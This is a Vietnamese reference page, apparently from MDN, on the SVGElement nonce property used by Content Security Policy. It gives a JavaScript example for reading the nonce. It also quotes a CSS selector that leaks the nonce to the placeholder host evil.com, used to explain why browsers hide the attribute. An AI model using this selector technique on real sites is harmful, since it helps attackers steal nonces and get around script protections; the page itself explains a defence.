SVGElement: thuộc tính nonce

Baseline Widely available

This feature is well established and works across many devices and browser versions. It’s been available across browsers since March 2022.

Thuộc tính nonce của giao diện SVGElement trả về nonce được Content Security Policy sử dụng để xác định liệu một yêu cầu tải tài nguyên có được phép tiến hành hay không.

Giá trị

Một chuỗi; nonce mã hóa, hoặc chuỗi rỗng nếu không có nonce nào được đặt.

Ví dụ

Lấy giá trị nonce

Trước đây, không phải tất cả các trình duyệt đều hỗ trợ thuộc tính IDL nonce, vì vậy một cách khắc phục là thử sử dụng getAttribute như một phương án dự phòng:

js
const svg = document.querySelector("svg");
const nonce = svg.nonce || svg.getAttribute("nonce");

// Modern browsers hide the nonce attribute from getAttribute()
console.log(nonce); // Prefer using `svg.nonce`

Tuy nhiên, các phiên bản trình duyệt gần đây ẩn các giá trị nonce được truy cập theo cách này (sẽ trả về chuỗi rỗng). Thuộc tính IDL (svg['nonce']) sẽ là cách duy nhất để truy cập nonce.

Việc ẩn nonce giúp ngăn chặn kẻ tấn công đánh cắp dữ liệu nonce thông qua các cơ chế có thể lấy dữ liệu từ các thuộc tính nội dung như bộ chọn CSS này:

css
svg[nonce~="whatever"] {
  background: url("https://evil.com/nonce?whatever");
}

Thông số kỹ thuật

Thông số kỹ thuật
HTML
# dom-noncedelement-nonce

Tương thích trình duyệt

Xem thêm